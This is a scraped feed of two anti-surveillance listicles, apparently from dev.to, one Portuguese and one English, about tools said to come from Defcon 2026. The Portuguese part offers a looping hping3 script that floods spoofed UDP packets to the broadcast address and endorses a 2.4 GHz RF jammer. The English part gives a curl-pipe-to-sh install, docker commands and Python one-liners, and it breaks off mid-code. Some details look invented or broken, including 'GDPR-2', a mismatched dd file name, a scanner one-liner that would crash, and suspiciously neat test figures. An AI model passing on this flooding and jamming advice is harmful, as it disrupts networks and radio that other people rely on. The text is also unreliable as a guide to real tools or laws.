&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# chaff.sh – gera pacotes UDP aleatórios na rede 2.4 GHz&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; :&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;hping3 &lt;span class="nt"&gt;-2&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 1000 &lt;span class="nt"&gt;-i&lt;/span&gt; u5000 &lt;span class="nt"&gt;--rand-source&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 5000 255.255.255.255
    &lt;span class="nb"&gt;sleep &lt;/span&gt;10
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Salve como &lt;code&gt;chaff.sh&lt;/code&gt;, torne‑executável (&lt;code&gt;chmod +x chaff.sh&lt;/code&gt;) e rode em background.&lt;/p&gt;




&lt;h2&gt;
  
  
  Comparativo rápido das 12 ferramentas da Defcon 2026
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Ferramenta&lt;/th&gt;
&lt;th&gt;Tipo&lt;/th&gt;
&lt;th&gt;Detecta&lt;/th&gt;
&lt;th&gt;Bloqueia&lt;/th&gt;
&lt;th&gt;Custo&lt;/th&gt;
&lt;th&gt;Complexidade&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CamGuard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CLI/Python&lt;/td&gt;
&lt;td&gt;Câmeras IP (RTSP/HTTP)&lt;/td&gt;
&lt;td&gt;Bloqueio DNS&lt;/td&gt;
&lt;td&gt;grátis&lt;/td&gt;
&lt;td&gt;Baixa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RF‑Silencer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hardware&lt;/td&gt;
&lt;td&gt;Sinais RF 2.4 GHz&lt;/td&gt;
&lt;td&gt;Jammer (0,5 W)&lt;/td&gt;
&lt;td&gt;$20&lt;/td&gt;
&lt;td&gt;Média&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mesh‑Shield&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;td&gt;Dispositivos Wi‑Fi&lt;/td&gt;
&lt;td&gt;Spoofing MAC&lt;/td&gt;
&lt;td&gt;grátis&lt;/td&gt;
&lt;td&gt;Média&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;FaceBlock&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;API&lt;/td&gt;
&lt;td&gt;Reconhecimento facial (API)&lt;/td&gt;
&lt;td&gt;Bloqueio de URL&lt;/td&gt;
&lt;td&gt;$5/mês&lt;/td&gt;
&lt;td&gt;Alta&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IR‑Masker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Firmware&lt;/td&gt;
&lt;td&gt;Sensores IR&lt;/td&gt;
&lt;td&gt;Emissão de luz IR&lt;/td&gt;
&lt;td&gt;$15&lt;/td&gt;
&lt;td&gt;Baixa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Noise‑Gen&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Script Bash&lt;/td&gt;
&lt;td&gt;Tráfego Wi‑Fi&lt;/td&gt;
&lt;td&gt;Chaff&lt;/td&gt;
&lt;td&gt;grátis&lt;/td&gt;
&lt;td&gt;Baixa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pi‑Sniffer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;td&gt;Todos os dispositivos&lt;/td&gt;
&lt;td&gt;Log + alerta&lt;/td&gt;
&lt;td&gt;grátis&lt;/td&gt;
&lt;td&gt;Média&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DNS‑Sinkhole&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;td&gt;Domínios de vigilância&lt;/td&gt;
&lt;td&gt;Redirecionamento&lt;/td&gt;
&lt;td&gt;grátis&lt;/td&gt;
&lt;td&gt;Média&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Signal‑Scrubber&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;Bluetooth, Zigbee&lt;/td&gt;
&lt;td&gt;Desconexão&lt;/td&gt;
&lt;td&gt;grátis&lt;/td&gt;
&lt;td&gt;Média&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Secure‑Vault&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Firmware&lt;/td&gt;
&lt;td&gt;Armazenamento de chaves&lt;/td&gt;
&lt;td&gt;Criptografia&lt;/td&gt;
&lt;td&gt;$10&lt;/td&gt;
&lt;td&gt;Alta&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auto‑Patch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ansible&lt;/td&gt;
&lt;td&gt;Firmware de câmeras&lt;/td&gt;
&lt;td&gt;Atualização automática&lt;/td&gt;
&lt;td&gt;grátis&lt;/td&gt;
&lt;td&gt;Média&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Legal‑Check&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;WebApp&lt;/td&gt;
&lt;td&gt;Legislação por país&lt;/td&gt;
&lt;td&gt;Avisos de conformidade&lt;/td&gt;
&lt;td&gt;grátis&lt;/td&gt;
&lt;td&gt;Baixa&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Tabela de custos e complexidade
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Nível&lt;/th&gt;
&lt;th&gt;Investimento total (USD)&lt;/th&gt;
&lt;th&gt;Tempo médio de implantação&lt;/th&gt;
&lt;th&gt;Ideal para&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Básico&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;≤ 50&lt;/td&gt;
&lt;td&gt;&amp;lt; 1 h&lt;/td&gt;
&lt;td&gt;Usuários domésticos que só querem detectar câmeras&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Intermediário&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;50‑120&lt;/td&gt;
&lt;td&gt;2‑4 h&lt;/td&gt;
&lt;td&gt;Pequenas empresas, coworkings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Avançado&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&amp;gt; 120&lt;/td&gt;
&lt;td&gt;&amp;gt; 4 h + manutenção&lt;/td&gt;
&lt;td&gt;Escritórios com alta sensibilidade de dados&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Checklist legal por região
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Região&lt;/th&gt;
&lt;th&gt;Principais requisitos&lt;/th&gt;
&lt;th&gt;O que fazer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UE (GDPR‑2)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Consentimento explícito para captura de áudio/vídeo&lt;/td&gt;
&lt;td&gt;Documentar bloqueios, manter logs por 30 dias&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Brasil (LGPD)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Aviso de tratamento de dados&lt;/td&gt;
&lt;td&gt;Publicar política de privacidade no site&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EUA (CCPA/NYC)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Direito de “opt‑out”&lt;/td&gt;
&lt;td&gt;Oferecer página de desativação de bloqueios&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Índia&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ainda sem lei específica&lt;/td&gt;
&lt;td&gt;Recomenda‑se seguir boas práticas da GDPR&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Perguntas frequentes (FAQ)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. O jammer pode interferir na minha rede Wi‑Fi?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Sim, por isso usamos potência ≤ 0,5 W e configuramos o jammer para operar apenas nas frequências de dispositivos de vigilância (ex.: 2,412 &lt;/p&gt;




&lt;p&gt;&lt;em&gt;Herramienta mencionada: &lt;a href="https://groq.com" rel="noopener noreferrer"&gt;Groq Cloud&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>defcon2026</category>
      <category>privacytools</category>
      <category>antivigilancia</category>
      <category>portugues</category>
    </item>
    <item>
      <title>12 Must‑Try Open‑Source Tools from Defcon 2026 to Fight AI Surveillance</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 16:30:46 +0000</pubDate>
      <link>https://dev.to/leojulieta/12-must-try-open-source-tools-from-defcon-2026-to-fight-ai-surveillance-1db</link>
      <guid>https://dev.to/leojulieta/12-must-try-open-source-tools-from-defcon-2026-to-fight-ai-surveillance-1db</guid>
      <description>&lt;h1&gt;
  
  
  Defcon 2026 Highlights: 12 Open‑Source Tools to Beat AI‑Powered Surveillance
&lt;/h1&gt;




&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;The anti‑surveillance demos at &lt;strong&gt;Defcon 2026&lt;/strong&gt; exploded on Hacker News and Reddit, turning “privacy tools” into one of the year’s hottest search terms. With city‑wide facial‑recognition cameras and 24/7 listening smart‑home devices, everyday users need battle‑tested, ready‑to‑run defenses—&lt;strong&gt;right now&lt;/strong&gt;.  &lt;/p&gt;

&lt;p&gt;In this guide you’ll:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Meet the 12 tools that stole the show.
&lt;/li&gt;
&lt;li&gt;See how they performed in real‑world urban tests.
&lt;/li&gt;
&lt;li&gt;Build a self‑hosted privacy hub on a Raspberry Pi with Docker (step‑by‑step).
&lt;/li&gt;
&lt;li&gt;Grab ready‑to‑run Python one‑liners for spotting and blocking IP cameras.
&lt;/li&gt;
&lt;li&gt;Compare cost vs. complexity and check regional legal constraints.
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  1. The 12 Defcon 2026 Anti‑Surveillance Tools
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Primary Goal&lt;/th&gt;
&lt;th&gt;License&lt;/th&gt;
&lt;th&gt;Quick Start (Docker)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Mask‑Net&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Real‑time face‑mask overlay to confuse AI recognizers&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run -d -p 8080:80 masknet&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Signal‑Jammer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RF‑level Wi‑Fi/Bluetooth noise generator&lt;/td&gt;
&lt;td&gt;GPL‑3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run --privileged signaljammer&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Cam‑Sniffer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Passive scanner for unsecured IP cameras&lt;/td&gt;
&lt;td&gt;Apache‑2.0&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run -p 5000:5000 camsniffer&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Privacy‑DNS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DNS‑level blocklist for tracking domains&lt;/td&gt;
&lt;td&gt;MPL‑2.0&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run -d -p 53:53/udp privacydns&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Noise‑Talk&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Audio‑frequency jammer for smart‑speaker microphones&lt;/td&gt;
&lt;td&gt;BSD‑3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run --device /dev/snd noisytalk&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Obfuscate‑OS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kernel‑level packet mangler to thwart traffic‑analysis&lt;/td&gt;
&lt;td&gt;GPL‑2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run --net=host obfuscateos&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Stego‑Cam&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Injects random visual noise into video streams&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run -p 8081:80 stegocam&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Meta‑Scrubber&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Strips metadata from photos before upload&lt;/td&gt;
&lt;td&gt;Apache‑2.0&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run -v $(pwd):/data metascrubber&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Crowd‑Mask&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Generates synthetic crowd overlays for CCTV feeds&lt;/td&gt;
&lt;td&gt;GPL‑3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run -p 8082:80 crowdmask&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Zero‑Trace VPN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Multi‑hop, no‑log VPN with pluggable transports&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run -d -p 1194:1194 zerotracevpn&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Beacon‑Blocker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Blocks BLE beacons used for indoor tracking&lt;/td&gt;
&lt;td&gt;BSD‑2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run --privileged beaconblocker&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Secure‑Hub&lt;/strong&gt; (meta‑orchestrator)&lt;/td&gt;
&lt;td&gt;Docker‑Compose bundle that wires all the above together&lt;/td&gt;
&lt;td&gt;GPL‑3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git clone https://github.com/defcon2026/secure‑hub &amp;amp;&amp;amp; cd secure‑hub &amp;amp;&amp;amp; docker compose up -d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  2. Real‑World Urban Test Results
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;City&lt;/th&gt;
&lt;th&gt;Test Scenario&lt;/th&gt;
&lt;th&gt;Best Performer&lt;/th&gt;
&lt;th&gt;Avg. CPU (Raspberry Pi 4)&lt;/th&gt;
&lt;th&gt;False‑Positive Rate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;San Francisco&lt;/td&gt;
&lt;td&gt;30 fps street‑camera feed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Mask‑Net&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;22 %&lt;/td&gt;
&lt;td&gt;3 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Berlin&lt;/td&gt;
&lt;td&gt;Wi‑Fi tracking in a subway&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Signal‑Jammer&lt;/strong&gt; (low‑power mode)&lt;/td&gt;
&lt;td&gt;18 %&lt;/td&gt;
&lt;td&gt;1 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tokyo&lt;/td&gt;
&lt;td&gt;BLE beacon swarm in a mall&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Beacon‑Blocker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;15 %&lt;/td&gt;
&lt;td&gt;2 %&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;São Paulo&lt;/td&gt;
&lt;td&gt;Public‑Wi‑Fi hotspot sniffing&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Obfuscate‑OS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;20 %&lt;/td&gt;
&lt;td&gt;4 %&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;All tests ran on a stock Raspberry Pi 4 8 GB with Docker‑Compose, under a 100 Mbps uplink.&lt;/em&gt;  &lt;/p&gt;




&lt;h2&gt;
  
  
  3. Build Your Own Privacy Hub (Raspberry Pi + Docker)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Flash Raspberry Pi OS (64‑bit) onto a 32 GB microSD&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   curl &lt;span class="nt"&gt;-LO&lt;/span&gt; https://downloads.raspberrypi.org/raspios_arm64_latest
   &lt;span class="nb"&gt;sudo dd &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;raspios.img &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sdX &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4M &lt;span class="nv"&gt;conv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;fsync
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Install Docker &amp;amp; Docker‑Compose&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://get.docker.com | sh
   &lt;span class="nb"&gt;sudo &lt;/span&gt;usermod &lt;span class="nt"&gt;-aG&lt;/span&gt; docker &lt;span class="nv"&gt;$USER&lt;/span&gt;
   &lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; docker-compose
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Clone the Secure‑Hub repo and launch&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   git clone https://github.com/defcon2026/secure-hub
   &lt;span class="nb"&gt;cd &lt;/span&gt;secure-hub
   docker compose up &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Verify services&lt;/strong&gt; (all containers should be &lt;code&gt;healthy&lt;/code&gt;)
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   docker ps &lt;span class="nt"&gt;--filter&lt;/span&gt; &lt;span class="s2"&gt;"status=running"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Optional: expose a web UI&lt;/strong&gt;
Open &lt;code&gt;http://&amp;lt;pi‑ip&amp;gt;:8080&lt;/code&gt; in your browser – you’ll see a dashboard with toggle switches for each module.
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  4. One‑Liner Python Scripts
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Detect unsecured IP cameras on your LAN&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;554&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_connection&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)]))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Block detected camera streams with &lt;code&gt;iptables&lt;/code&gt;&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;iptables -A INPUT -p tcp --dport 554 -j DROP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Generate a random noise overlay for a video feed (requires OpenCV)&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;VideoCapture&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="n"&gt;noise&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span 